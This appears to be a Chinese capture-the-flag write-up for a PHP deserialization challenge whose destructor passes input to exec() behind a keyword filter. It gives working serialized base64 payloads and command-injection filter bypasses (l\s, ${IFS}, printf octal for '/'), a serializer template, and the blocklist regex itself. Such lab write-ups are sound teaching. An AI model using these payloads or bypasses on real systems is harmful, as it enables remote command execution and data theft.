进入靶场
审代码
<?php
// 高亮显示当前 PHP 文件的源代码,常用于调试和展示代码结构
highlight_file(__FILE__);// 定义一个名为 ease 的类
class ease {// 定义一个私有属性 $method,用于存储要调用的方法名private $method;// 定义一个私有属性 $args,用于存储调用方法时传递的参数private $args;// 构造函数,当创建 ease 类的对象时会自动调用// 接收两个参数 $method 和 $args,并将它们分别赋值给类的私有属性function __construct($method, $args) {$this->method = $method;$this->args = $args;}// 析构函数,当对象被销毁时会自动调用function __destruct() {// 检查 $method 属性的值是否在数组 array("ping") 中// 即判断要调用的方法是否为 "ping"if (in_array($this->method, array("ping"))) {// 如果是 "ping" 方法,则使用 call_user_func_array 函数调用该方法// 并将 $args 数组作为参数传递给该方法call_user_func_array(array($this, $this->method), $this->args);}}// 定义 ping 方法,接收一个参数 $ipfunction ping($ip) {// 使用 exec 函数执行系统命令,将 $ip 作为命令的一部分执行// 并将执行结果存储在 $result 数组中exec($ip, $result);// 使用 var_dump 函数输出 $result 数组的详细信息var_dump($result);}// 定义 waf 方法,用于对输入的字符串进行过滤和检查function waf($str) {// 使用 preg_match_all 函数检查 $str 中是否包含特定的危险字符或关键字// 如 |、&、;、空格、/、cat、flag、tac、php、ls 等if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {// 如果不包含危险字符或关键字,则返回原字符串return $str;} else {// 如果包含危险字符或关键字,则输出提示信息 "don't hack"echo "don't hack";}}// __wakeup 魔术方法,当使用 unserialize 函数对对象进行反序列化时会自动调用function __wakeup() {// 遍历 $args 数组,对每个元素应用 waf 方法进行过滤foreach ($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}// 从 POST 请求中获取名为 'ctf' 的参数值,并赋值给 $ctf 变量
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 base64 解码,然后尝试对解码后的字符串进行反序列化操作
// @ 符号用于抑制可能出现的错误信息
@unserialize(base64_decode($ctf));
?>
解析
1,得知两个参数名method 和 args
提示了调用的方法是ping,
所以method传ping
2,args用于存储调用方法时传递的参数,我们看看waf方法过滤了什么,看到包含 ls ,想到先查看目录文件,那么如何绕过,
方法一:通过在l与s之间加两个双引号即可,又因为使用了 call_user_func_array
函数,所以需要以数组形式传参。就这种形式:array()
所以args传array('l""s')
方法二:waf方法是通过_wake up调用的,最后修改属性个数即可绕过,并正常使用 ls
方法三:用l\s,在 Linux 操作系统中 ls
与 l\s
是等价的
3,代码最后告诉我们需要以post方式传参(可以用bp抓包或插件实现),参数名是ctf,而且会对传的内容进行64解码和反序列化操作,所以我们需要进行序列化操作,再进行64编码。
解题
一,查看目录
l\s
<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$a = new ease('ping',array('l\s'));
$b = serialize($a);
echo $b;
?>
之后代码以此为模板,自己改啊
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319
二 ,查看已知文件flag_1s_here
l\s${IFS}f\lag_1s_here
在 Linux 系统的命令行中,默认情况下 IFS
包含空格、制表符和换行符,它用于分隔命令中的各个参数。在这里使用 ${IFS}
来替代空格
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZlxsYWdfMXNfaGVyZSI7fX0=
三,查看flag_831b69012c67b35f.php
c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp
\57
是八进制的 ASCII 码表示,对应的字符是/
$(printf${IFS}"\57")
是通过printf
命令输出/
字符,以此绕过对/
的过滤。
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=
得到flag